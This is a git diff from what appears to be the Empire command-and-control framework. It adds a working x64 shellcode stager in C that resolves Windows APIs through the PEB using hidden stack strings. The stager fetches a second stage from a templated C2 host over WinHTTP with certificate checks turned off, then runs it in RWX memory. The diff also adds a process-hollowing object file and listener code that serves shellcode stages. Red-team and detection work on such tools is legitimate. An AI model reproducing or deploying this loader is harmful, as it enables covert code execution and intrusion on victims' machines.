.text. + */ + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned short WCHAR; +typedef unsigned int DWORD; +typedef unsigned long long ULONG_PTR; +typedef unsigned long long SIZE_T; +typedef long long LONG_PTR; +typedef void* HANDLE; +typedef void* HINTERNET; +typedef void* PVOID; +typedef void* LPVOID; +typedef int BOOL; + +#define TRUE 1 +#define FALSE 0 +#define NULL ((void*)0) + +#define MEM_COMMIT 0x00001000 +#define MEM_RESERVE 0x00002000 +#define PAGE_EXECUTE_READWRITE 0x40 + +#define WINHTTP_ACCESS_TYPE_NO_PROXY 1 +#define WINHTTP_FLAG_SECURE 0x00800000 +#define WINHTTP_ADDREQ_FLAG_ADD 0x20000000 +#define WINHTTP_ADDREQ_FLAG_REPLACE 0x80000000 +#define WINHTTP_NO_HEADER_INDEX ((DWORD*)NULL) +#define WINHTTP_QUERY_STATUS_CODE 19 +#define WINHTTP_QUERY_FLAG_NUMBER 0x20000000 +#define WINHTTP_QUERY_STATUS_TEXT 20 +#define WINHTTP_HEADER_NAME_BY_INDEX ((WCHAR*)NULL) + +#define SECURITY_FLAG_IGNORE_UNKNOWN_CA 0x00000100 +#define SECURITY_FLAG_IGNORE_CERT_DATE_INVALID 0x00002000 +#define SECURITY_FLAG_IGNORE_CERT_CN_INVALID 0x00001000 +#define SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE 0x00000200 +#define WINHTTP_OPTION_SECURITY_FLAGS 31 + +typedef void* (__attribute__((ms_abi)) *fnLoadLibraryA)(const char*); +typedef void* (__attribute__((ms_abi)) *fnGetProcAddress)(void*, const char*); + +typedef LPVOID (__attribute__((ms_abi)) *fnVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); +typedef HANDLE (__attribute__((ms_abi)) *fnGetProcessHeap)(void); +typedef LPVOID (__attribute__((ms_abi)) *fnHeapAlloc)(HANDLE, DWORD, SIZE_T); +typedef LPVOID (__attribute__((ms_abi)) *fnHeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T); +typedef BOOL (__attribute__((ms_abi)) *fnHeapFree)(HANDLE, DWORD, LPVOID); +typedef BOOL (__attribute__((ms_abi)) *fnFlushInstructionCache)(HANDLE, PVOID, SIZE_T); +typedef HANDLE (__attribute__((ms_abi)) *fnGetCurrentProcess)(void); + +typedef HINTERNET (__attribute__((ms_abi)) *fnWinHttpOpen)(const WCHAR*, DWORD, const WCHAR*, const WCHAR*, DWORD); +typedef HINTERNET (__attribute__((ms_abi)) *fnWinHttpConnect)(HINTERNET, const WCHAR*, WORD, DWORD); +typedef HINTERNET (__attribute__((ms_abi)) *fnWinHttpOpenRequest)(HINTERNET, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR**, DWORD); +typedef BOOL (__attribute__((ms_abi)) *fnWinHttpSetOption)(HINTERNET, DWORD, LPVOID, DWORD); +typedef BOOL (__attribute__((ms_abi)) *fnWinHttpAddRequestHeaders)(HINTERNET, const WCHAR*, DWORD, DWORD); +typedef BOOL (__attribute__((ms_abi)) *fnWinHttpSendRequest)(HINTERNET, const WCHAR*, DWORD, LPVOID, DWORD, DWORD, ULONG_PTR); +typedef BOOL (__attribute__((ms_abi)) *fnWinHttpReceiveResponse)(HINTERNET, LPVOID); +typedef BOOL (__attribute__((ms_abi)) *fnWinHttpQueryHeaders)(HINTERNET, DWORD, const WCHAR*, LPVOID, DWORD*, DWORD*); +typedef BOOL (__attribute__((ms_abi)) *fnWinHttpQueryDataAvailable)(HINTERNET, DWORD*); +typedef BOOL (__attribute__((ms_abi)) *fnWinHttpReadData)(HINTERNET, LPVOID, DWORD, DWORD*); +typedef BOOL (__attribute__((ms_abi)) *fnWinHttpCloseHandle)(HINTERNET); + +struct Kernel32Funcs { + fnVirtualAlloc pVirtualAlloc; + fnGetProcessHeap pGetProcessHeap; + fnHeapAlloc pHeapAlloc; + fnHeapReAlloc pHeapReAlloc; + fnHeapFree pHeapFree; + fnFlushInstructionCache pFlushInstructionCache; + fnGetCurrentProcess pGetCurrentProcess; +}; + +struct WinHttpFuncs { + fnWinHttpOpen pOpen; + fnWinHttpConnect pConnect; + fnWinHttpOpenRequest pOpenRequest; + fnWinHttpSetOption pSetOption; + fnWinHttpAddRequestHeaders pAddRequestHeaders; + fnWinHttpSendRequest pSendRequest; + fnWinHttpReceiveResponse pReceiveResponse; + fnWinHttpQueryHeaders pQueryHeaders; + fnWinHttpQueryDataAvailable pQueryDataAvailable; + fnWinHttpReadData pReadData; + fnWinHttpCloseHandle pCloseHandle; +}; + +/* Forward declaration — AlignRSP calls ShellcodeMain */ +void __attribute__((ms_abi)) ShellcodeMain(void); + +/* + * Entry point: align RSP to 16 bytes before calling ShellcodeMain. + * x64 ABI requires 16-byte stack alignment for API calls. + * MUST be the first function in this file — first bytes of .text. + */ +__attribute__((section(".text"))) +void __attribute__((ms_abi, naked)) AlignRSP(void) { + __asm__ volatile ( + ".intel_syntax noprefix\n" + "push rdi\n" + "mov rdi, rsp\n" + "and rsp, -16\n" + "sub rsp, 32\n" + "call ShellcodeMain\n" + "mov rsp, rdi\n" + "pop rdi\n" + "ret\n" + ".att_syntax prefix\n" + ); +} + +/* + * MinGW emits calls to ___chkstk_ms for functions with stack frames + * larger than 4KB. Stub it out since we compile with -nostdlib. + */ +__attribute__((section(".text"))) +void __attribute__((naked)) ___chkstk_ms(void) { + __asm__ volatile ("ret\n"); +} + +/* Inline helpers for PIC — no CRT dependency */ +__attribute__((always_inline)) +static inline int pic_strcmp(const char* a, const char* b) { + while (*a && *a == *b) { a++; b++; } + return (unsigned char)*a - (unsigned char)*b; +} + +__attribute__((always_inline)) +static inline void pic_memcpy(void* dst, const void* src, SIZE_T n) { + BYTE* d = (BYTE*)dst; + const BYTE* s = (const BYTE*)src; + while (n--) *d++ = *s++; +} + +__attribute__((always_inline)) +static inline void pic_memset(void* dst, int val, SIZE_T n) { + BYTE* d = (BYTE*)dst; + while (n--) *d++ = (BYTE)val; +} + +__attribute__((always_inline)) +static inline SIZE_T pic_wcslen(const WCHAR* s) { + SIZE_T len = 0; + while (s[len]) len++; + return len; +} + +__attribute__((always_inline)) +static inline void pic_wcscpy(WCHAR* dst, const WCHAR* src) { + while ((*dst++ = *src++)); +} + +/* + * Find kernel32.dll base address via PEB. + * x64: PEB at gs:[0x60], Ldr at PEB+0x18, + * InMemoryOrderModuleList at Ldr+0x20. + * + * When walking InMemoryOrderModuleList, entry points to + * InMemoryOrderLinks (struct offset 0x10). Offsets from entry: + * DllBase = entry + 0x20 (struct 0x30 - 0x10) + * BaseDllName.Buffer = entry + 0x50 (struct 0x58 + 0x08 - 0x10) + */ +__attribute__((section(".text"))) +static void* find_kernel32(void) { + void* peb; + __asm__ volatile ("mov %%gs:0x60, %0" : "=r"(peb)); + + void* ldr = *(void**)((BYTE*)peb + 0x18); + BYTE* head = (BYTE*)ldr + 0x20; + BYTE* entry = *(BYTE**)head; + + while (entry != head) { + WCHAR* dllName = *(WCHAR**)((BYTE*)entry + 0x50); + void* dllBase = *(void**)((BYTE*)entry + 0x20); + + if (dllName) { + WCHAR k[] = {'k','e','r','n','e','l','3','2','.','d','l','l',0}; + WCHAR K[] = {'K','E','R','N','E','L','3','2','.','D','L','L',0}; + int match = 1; + for (int i = 0; k[i]; i++) { + if (dllName[i] != k[i] && dllName[i] != K[i]) { match = 0; break; } + } + if (match) return dllBase; + } + entry = *(BYTE**)entry; + } + return NULL; +} + +/* + * Parse PE export table to find a function by name. + */ +__attribute__((section(".text"))) +static void* find_export(void* base, const char* name) { + BYTE* b = (BYTE*)base; + DWORD pe_off = *(DWORD*)(b + 0x3C); + DWORD export_rva = *(DWORD*)(b + pe_off + 0x88); + if (!export_rva) return NULL; + + BYTE* exports = b + export_rva; + DWORD numNames = *(DWORD*)(exports + 0x18); + DWORD namesRva = *(DWORD*)(exports + 0x20); + DWORD ordinalsRva = *(DWORD*)(exports + 0x24); + DWORD funcsRva = *(DWORD*)(exports + 0x1C); + + DWORD* names = (DWORD*)(b + namesRva); + WORD* ordinals = (WORD*)(b + ordinalsRva); + DWORD* funcs = (DWORD*)(b + funcsRva); + + for (DWORD i = 0; i < numNames; i++) { + const char* fn = (const char*)(b + names[i]); + if (pic_strcmp(fn, name) == 0) { + return b + funcs[ordinals[i]]; + } + } + return NULL; +} + +__attribute__((section(".text"))) +static BOOL resolve_kernel32(void* k32, fnGetProcAddress pGetProcAddress, struct Kernel32Funcs* k) { + char s_VirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c',0}; + char s_GetProcessHeap[] = {'G','e','t','P','r','o','c','e','s','s','H','e','a','p',0}; + char s_HeapAlloc[] = {'H','e','a','p','A','l','l','o','c',0}; + char s_HeapReAlloc[] = {'H','e','a','p','R','e','A','l','l','o','c',0}; + char s_HeapFree[] = {'H','e','a','p','F','r','e','e',0}; + char s_FlushInstructionCache[] = {'F','l','u','s','h','I','n','s','t','r','u','c','t','i','o','n','C','a','c','h','e',0}; + char s_GetCurrentProcess[] = {'G','e','t','C','u','r','r','e','n','t','P','r','o','c','e','s','s',0}; + + k->pVirtualAlloc = (fnVirtualAlloc)pGetProcAddress(k32, s_VirtualAlloc); + k->pGetProcessHeap = (fnGetProcessHeap)pGetProcAddress(k32, s_GetProcessHeap); + k->pHeapAlloc = (fnHeapAlloc)pGetProcAddress(k32, s_HeapAlloc); + k->pHeapReAlloc = (fnHeapReAlloc)pGetProcAddress(k32, s_HeapReAlloc); + k->pHeapFree = (fnHeapFree)pGetProcAddress(k32, s_HeapFree); + k->pFlushInstructionCache = (fnFlushInstructionCache)pGetProcAddress(k32, s_FlushInstructionCache); + k->pGetCurrentProcess = (fnGetCurrentProcess)pGetProcAddress(k32, s_GetCurrentProcess); + + return k->pVirtualAlloc && k->pGetProcessHeap && k->pHeapAlloc && + k->pHeapReAlloc && k->pHeapFree && k->pFlushInstructionCache && + k->pGetCurrentProcess; +} + +__attribute__((section(".text"))) +static BOOL resolve_winhttp(fnLoadLibraryA pLoadLibraryA, fnGetProcAddress pGetProcAddress, struct WinHttpFuncs* w) { + char s_winhttp[] = {'w','i','n','h','t','t','p','.','d','l','l',0}; + void* hWinHttp = pLoadLibraryA(s_winhttp); + if (!hWinHttp) return FALSE; + + char s_Open[] = {'W','i','n','H','t','t','p','O','p','e','n',0}; + char s_Connect[] = {'W','i','n','H','t','t','p','C','o','n','n','e','c','t',0}; + char s_OpenRequest[] = {'W','i','n','H','t','t','p','O','p','e','n','R','e','q','u','e','s','t',0}; + char s_SetOption[] = {'W','i','n','H','t','t','p','S','e','t','O','p','t','i','o','n',0}; + char s_AddRequestHeaders[] = {'W','i','n','H','t','t','p','A','d','d','R','e','q','u','e','s','t','H','e','a','d','e','r','s',0}; + char s_SendRequest[] = {'W','i','n','H','t','t','p','S','e','n','d','R','e','q','u','e','s','t',0}; + char s_ReceiveResponse[] = {'W','i','n','H','t','t','p','R','e','c','e','i','v','e','R','e','s','p','o','n','s','e',0}; + char s_QueryHeaders[] = {'W','i','n','H','t','t','p','Q','u','e','r','y','H','e','a','d','e','r','s',0}; + char s_QueryDataAvailable[] = {'W','i','n','H','t','t','p','Q','u','e','r','y','D','a','t','a','A','v','a','i','l','a','b','l','e',0}; + char s_ReadData[] = {'W','i','n','H','t','t','p','R','e','a','d','D','a','t','a',0}; + char s_CloseHandle[] = {'W','i','n','H','t','t','p','C','l','o','s','e','H','a','n','d','l','e',0}; + + w->pOpen = (fnWinHttpOpen)pGetProcAddress(hWinHttp, s_Open); + w->pConnect = (fnWinHttpConnect)pGetProcAddress(hWinHttp, s_Connect); + w->pOpenRequest = (fnWinHttpOpenRequest)pGetProcAddress(hWinHttp, s_OpenRequest); + w->pSetOption = (fnWinHttpSetOption)pGetProcAddress(hWinHttp, s_SetOption); + w->pAddRequestHeaders = (fnWinHttpAddRequestHeaders)pGetProcAddress(hWinHttp, s_AddRequestHeaders); + w->pSendRequest = (fnWinHttpSendRequest)pGetProcAddress(hWinHttp, s_SendRequest); + w->pReceiveResponse = (fnWinHttpReceiveResponse)pGetProcAddress(hWinHttp, s_ReceiveResponse); + w->pQueryHeaders = (fnWinHttpQueryHeaders)pGetProcAddress(hWinHttp, s_QueryHeaders); + w->pQueryDataAvailable = (fnWinHttpQueryDataAvailable)pGetProcAddress(hWinHttp, s_QueryDataAvailable); + w->pReadData = (fnWinHttpReadData)pGetProcAddress(hWinHttp, s_ReadData); + w->pCloseHandle = (fnWinHttpCloseHandle)pGetProcAddress(hWinHttp, s_CloseHandle); + + return w->pOpen && w->pConnect && w->pOpenRequest && w->pSetOption && + w->pAddRequestHeaders && w->pSendRequest && w->pReceiveResponse && + w->pQueryHeaders && w->pQueryDataAvailable && w->pReadData && w->pCloseHandle; +} + +__attribute__((section(".text"))) +static BOOL download_stage(struct Kernel32Funcs* k, struct WinHttpFuncs* w, + const WCHAR* host, WORD port, const WCHAR* path, + BOOL useHttps, const WCHAR* cookie, + BYTE** outBuf, DWORD* outLen) { + *outBuf = NULL; + *outLen = 0; + + WCHAR ua[] = {'M','o','z','i','l','l','a','/','5','.','0',0}; + WCHAR get[] = {'G','E','T',0}; + + HINTERNET hSession = w->pOpen(ua, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0); + if (!hSession) return FALSE; + + HINTERNET hConnect = w->pConnect(hSession, host, port, 0); + if (!hConnect) { w->pCloseHandle(hSession); return FALSE; } + + DWORD flags = useHttps ? WINHTTP_FLAG_SECURE : 0; + HINTERNET hRequest = w->pOpenRequest(hConnect, get, path, NULL, NULL, NULL, flags); + if (!hRequest) { w->pCloseHandle(hConnect); w->pCloseHandle(hSession); return FALSE; } + + if (useHttps) { + DWORD secFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + w->pSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &secFlags, sizeof(secFlags)); + } + + /* Build "Cookie: \r\n" header on the stack */ + WCHAR hdrPrefix[] = {'C','o','o','k','i','e',':',' ',0}; + WCHAR hdrSuffix[] = {'\r','\n',0}; + SIZE_T prefixLen = pic_wcslen(hdrPrefix); + SIZE_T cookieLen = pic_wcslen(cookie); + SIZE_T suffixLen = pic_wcslen(hdrSuffix); + SIZE_T totalLen = prefixLen + cookieLen + suffixLen + 1; + + HANDLE heap = k->pGetProcessHeap(); + WCHAR* headerLine = (WCHAR*)k->pHeapAlloc(heap, 0, totalLen * sizeof(WCHAR)); + if (!headerLine) { w->pCloseHandle(hRequest); w->pCloseHandle(hConnect); w->pCloseHandle(hSession); return FALSE; } + + pic_wcscpy(headerLine, hdrPrefix); + pic_wcscpy(headerLine + prefixLen, cookie); + pic_wcscpy(headerLine + prefixLen + cookieLen, hdrSuffix); + + w->pAddRequestHeaders(hRequest, headerLine, (DWORD)-1, + WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE); + k->pHeapFree(heap, 0, headerLine); + + if (!w->pSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0)) + goto cleanup; + + if (!w->pReceiveResponse(hRequest, NULL)) + goto cleanup; + + DWORD status = 0, statusSize = sizeof(status); + if (!w->pQueryHeaders(hRequest, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, + &status, &statusSize, WINHTTP_NO_HEADER_INDEX)) + goto cleanup; + + if (status < 200 || status >= 300) + goto cleanup; + + BYTE* buf = NULL; + DWORD cap = 0, len = 0; + + for (;;) { + DWORD avail = 0; + if (!w->pQueryDataAvailable(hRequest, &avail)) goto fail_buf; + if (avail == 0) break; + + if (len + avail > cap) { + DWORD newCap = (cap == 0) ? (avail * 2) : (cap * 2); + while (newCap < len + avail) newCap *= 2; + + if (!buf) { + buf = (BYTE*)k->pHeapAlloc(heap, 0, newCap); + } else { + buf = (BYTE*)k->pHeapReAlloc(heap, 0, buf, newCap); + } + if (!buf) goto fail_buf; + cap = newCap; + } + + DWORD bytesRead = 0; + if (!w->pReadData(hRequest, buf + len, avail, &bytesRead)) goto fail_buf; + len += bytesRead; + } + + *outBuf = buf; + *outLen = len; + w->pCloseHandle(hRequest); + w->pCloseHandle(hConnect); + w->pCloseHandle(hSession); + return TRUE; + +fail_buf: + if (buf) k->pHeapFree(heap, 0, buf); +cleanup: + w->pCloseHandle(hRequest); + w->pCloseHandle(hConnect); + w->pCloseHandle(hSession); + return FALSE; +} + +__attribute__((section(".text"))) +static void execute_payload(struct Kernel32Funcs* k, const BYTE* data, DWORD len) { + void* execMem = k->pVirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!execMem) return; + pic_memcpy(execMem, data, len); + k->pFlushInstructionCache(k->pGetCurrentProcess(), execMem, len); + ((void(*)(void))execMem)(); +} + +__attribute__((section(".text"))) +void __attribute__((ms_abi)) ShellcodeMain(void) { + void* k32 = find_kernel32(); + if (!k32) return; + + char s_LoadLibraryA[] = {'L','o','a','d','L','i','b','r','a','r','y','A',0}; + char s_GetProcAddress[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0}; + + fnLoadLibraryA pLoadLibraryA = (fnLoadLibraryA)find_export(k32, s_LoadLibraryA); + fnGetProcAddress pGetProcAddress = (fnGetProcAddress)find_export(k32, s_GetProcAddress); + if (!pLoadLibraryA || !pGetProcAddress) return; + + struct Kernel32Funcs kf; + struct WinHttpFuncs wf; + pic_memset(&kf, 0, sizeof(kf)); + pic_memset(&wf, 0, sizeof(wf)); + + if (!resolve_kernel32(k32, pGetProcAddress, &kf)) return; + if (!resolve_winhttp(pLoadLibraryA, pGetProcAddress, &wf)) return; + + const WCHAR host[] = {{ host }}; + WORD port = {{ port }}; + const WCHAR path[] = {{ path }}; + BOOL useHttps = {{ use_https }}; + const WCHAR cookie[] = {{ cookie }}; + + BYTE* data = NULL; + DWORD size = 0; + + if (!download_stage(&kf, &wf, host, port, path, useHttps, cookie, &data, &size)) + return; + + execute_payload(&kf, data, size); + kf.pHeapFree(kf.pGetProcessHeap(), 0, data); +} diff --git a/empire/server/data/module_source/bof/secinject/secinject.x64.o b/empire/server/data/module_source/bof/secinject/secinject.x64.o deleted file mode 100644 index 99c6743e3..000000000 Binary files a/empire/server/data/module_source/bof/secinject/secinject.x64.o and /dev/null differ diff --git a/empire/server/data/module_source/bof/spawn/hollow.x64.o b/empire/server/data/module_source/bof/spawn/hollow.x64.o new file mode 100644 index 000000000..5ca06c297 Binary files /dev/null and b/empire/server/data/module_source/bof/spawn/hollow.x64.o differ diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index ef454a804..c786f4ad4 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -167,7 +167,7 @@ def __init__(self, mainMenu: MainMenu): ) self.session_cookie = self.options["Cookie"]["Value"] - self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/" + self.template_dir = self.mainMenu.install_path / "data/listeners/templates" self.instance_log = log self.agent_private_cert_key_object = ed25519.Ed25519PrivateKey.generate() @@ -189,8 +189,7 @@ def default_response(self): """ Returns an IIS 7.5 404 not found page. """ - with open(f"{self.template_dir}/default.html") as f: - return f.read() + return (self.template_dir / "default.html").read_text(encoding="utf-8") def validate_options(self) -> tuple[bool, str | None]: """ @@ -475,10 +474,9 @@ def generate_launcher( ) public_key_array = ",".join(f"0x{b:02x}" for b in raw_key_bytes) - with open(self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb") as f: - stager_yaml = f.read() - - stager_yaml = stager_yaml.decode("UTF-8") + stager_yaml = ( + self.mainMenu.install_path / "stagers/Sharpire.yaml" + ).read_text(encoding="utf-8") stager_yaml = ( stager_yaml.replace("{{ REPLACE_ADDRESS }}", self.host_address) .replace("{{ REPLACE_STAGINGKEY }}", staging_key) @@ -538,8 +536,7 @@ def generate_stager( if language.lower() == "powershell": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -606,8 +603,7 @@ def generate_stager( if language.lower() == "python": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -664,8 +660,9 @@ def generate_agent( b64DefaultResponse = base64.b64encode(self.default_response().encode("UTF-8")) if language == "powershell": - with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f: - code = f.read() + code = (self.mainMenu.install_path / "data/agent/agent.ps1").read_text( + encoding="utf-8" + ) # strip out comments and blank lines code = helpers.strip_powershell_comments(code) @@ -691,12 +688,12 @@ def generate_agent( return code if language == "python": - if version == "ironpython": - f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" - else: - f = self.mainMenu.installPath + "/data/agent/agent.py" - with open(f) as f: - code = f.read() + agent_path = ( + self.mainMenu.install_path / "data/agent/ironpython_agent.py" + if version == "ironpython" + else self.mainMenu.install_path / "data/agent/agent.py" + ) + code = agent_path.read_text(encoding="utf-8") # strip out comments and blank lines code = helpers.strip_python_comments(code) @@ -738,8 +735,7 @@ def generate_comms(self, listenerOptions, language=None): if language.lower() == "powershell": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -762,8 +758,7 @@ def generate_comms(self, listenerOptions, language=None): if language.lower() == "python": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) template = eng.get_template("http/comms.py") @@ -880,10 +875,9 @@ def generate_stager_response(stager, hop=None): directory = self.mainMenu.stagergenv2.generate_python_exe( launcher, dot_net_version="net40", obfuscate=obfuscation ) - with open(directory, "rb") as f: - return f.read() + return Path(directory).read_bytes() - elif stager == "csharp": + if stager == "csharp": path = self.mainMenu.stagergenv2.generate_launcher( listener_name=hop or listenerName, language="csharp", @@ -894,14 +888,13 @@ def generate_stager_response(stager, hop=None): proxy_creds=proxyCreds, ) return Path(path).read_bytes() - elif stager == "go": + if stager == "go": directory = self.mainMenu.stagergenv2.generate_go_stageless( self.options, listenerName ) - with open(directory, "rb") as f: - return f.read() - else: - return make_response(self.default_response(), 404) + return Path(directory).read_bytes() + + return make_response(self.default_response(), 404) @app.before_request def check_ip(): @@ -968,7 +961,7 @@ def handle_get(request_uri): # # Thanks to making it case-insensitive it works the same way as in # an actual IIS server - static_dir = self.mainMenu.installPath + "/data/misc/" + static_dir = self.mainMenu.install_path / "data/misc" return send_from_directory(static_dir, "welcome.png") stager = request.args.get("stager") @@ -1029,7 +1022,7 @@ def handle_get(request_uri): if not dataResults or len(dataResults) <= 0: return make_response(self.default_response(), 200) - for language, results in dataResults: + for language, results, additional in dataResults: if not results: message = f"{listenerName}: Results are None for {request_uri} from {clientIP}" self.instance_log.debug(message) @@ -1051,14 +1044,30 @@ def handle_get(request_uri): hopListenerName ) - if language.lower() in ["csharp", "ironpython", "go"]: - return generate_stager_response(language, hopListenerName) - with SessionLocal() as db: obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( db, language ) + if additional.lower() == "shellcode": + stage, err = self.mainMenu.stagergenv2.generate_shellcode( + language=language.lower(), + listener_name=hopListenerName or listenerName, + obfuscate=obf_config.enabled if obf_config else False, + obfuscation_command=obf_config.command + if obf_config + else "", + arch="both", + dot_net_version="net40", + ) + if err: + log.error(f"Error generating shellcode: {err}") + return make_response(self.default_response(), 404) + return make_response(stage, 200) + + if language.lower() in ["csharp", "ironpython", "go"]: + return generate_stager_response(language, hopListenerName) + if hopListener: stage = hopListener.generate_stager( language=language, @@ -1133,7 +1142,7 @@ def handle_post(request_uri): if not dataResults or len(dataResults) <= 0: return make_response(self.default_response(), 404) - for language, results in dataResults: + for language, results, _ in dataResults: if isinstance(results, str): results = results.encode("UTF-8") @@ -1233,7 +1242,7 @@ def handle_post(request_uri): ja3_evasion = listenerOptions["JA3_Evasion"]["Value"] if certPath.strip() != "": - certPath = os.path.abspath(certPath) + cert_path = Path(certPath).resolve() # support any version of tls pyversion = sys.version_info @@ -1246,8 +1255,8 @@ def handle_post(request_uri): context = ssl.SSLContext(proto) context.load_cert_chain( - f"{certPath}/empire-chain.pem", - f"{certPath}/empire-priv.key", + cert_path / "empire-chain.pem", + cert_path / "empire-priv.key", ) if ja3_evasion: @@ -1273,7 +1282,7 @@ def start(self): self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) self.thread.daemon = True self.thread.start() - time.sleep(1) + time.sleep(0.1 if os.environ.get("TEST_MODE") else 1) # returns True if the listener successfully started, false otherwise return self.thread.is_alive() diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index ef9cde9f1..ed3b36acc 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -1,6 +1,5 @@ import base64 import logging -import os import random from textwrap import dedent @@ -121,7 +120,6 @@ def __init__(self, mainMenu: MainMenu): ) self.session_cookie = self.options["Cookie"]["Value"] - self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/" self.instance_log = log def default_response(self): @@ -399,8 +397,7 @@ def generate_comms(self, listenerOptions, language=None): if language.lower() == "powershell": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -415,8 +412,7 @@ def generate_comms(self, listenerOptions, language=None): if language.lower() == "python": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) template = eng.get_template("http/comms.py") diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index c16a7564d..24ee520ce 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -1,8 +1,7 @@ import base64 -import errno import logging -import os import random +from pathlib import Path from textwrap import dedent from cryptography.hazmat.primitives import serialization @@ -351,8 +350,7 @@ def generate_stager( if language.lower() == "powershell": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -423,8 +421,7 @@ def generate_stager( if language.lower() in ["python", "ironpython"]: template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -483,8 +480,7 @@ def generate_comms(self, listenerOptions, language=None): if language.lower() == "powershell": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -507,8 +503,7 @@ def generate_comms(self, listenerOptions, language=None): if language.lower() == "python": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) template = eng.get_template("http/comms.py") @@ -550,30 +545,21 @@ def start(self): uris = list(self.options["DefaultProfile"]["Value"].split("|")[0].split(",")) - hopCodeLocation = f"{self.mainMenu.installPath}/data/misc/hop.php" - with open(hopCodeLocation) as f: - hopCode = f.read() + hopCode = (self.mainMenu.install_path / "data/misc/hop.php").read_text( + encoding="utf-8" + ) hopCode = hopCode.replace("REPLACE_SERVER", redirectHost) hopCode = hopCode.replace("REPLACE_HOP_NAME", self.options["Name"]["Value"]) saveFolder = self.options["OutFolder"]["Value"] for uri in uris: - saveName = f"{saveFolder}{uri}" - - # recursively create the file's folders if they don't exist - if not os.path.exists(os.path.dirname(saveName)): - try: - os.makedirs(os.path.dirname(saveName)) - except OSError as exc: # Guard against race condition - if exc.errno != errno.EEXIST: - raise - - with open(saveName, "w") as f: - f.write(hopCode) - log.info( - f"Hop redirector written to {saveName} . Place this file on the redirect server." - ) + save_path = Path(saveFolder) / uri.lstrip("/") + save_path.parent.mkdir(parents=True, exist_ok=True) + save_path.write_text(hopCode) + log.info( + f"Hop redirector written to {save_path} . Place this file on the redirect server." + ) return True diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 5ae7b8e12..6c8c13d35 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -7,6 +7,7 @@ import sys import time import urllib.parse +from pathlib import Path from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519 @@ -151,7 +152,7 @@ def __init__(self, mainMenu: MainMenu): data_util.get_config("staging_key")[0] ) - self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/" + self.template_dir = self.mainMenu.install_path / "data/listeners/templates" self.instance_log = log @@ -174,8 +175,7 @@ def default_response(self): """ Returns an IIS 7.5 404 not found page. """ - with open(f"{self.template_dir}/default.html") as f: - return f.read() 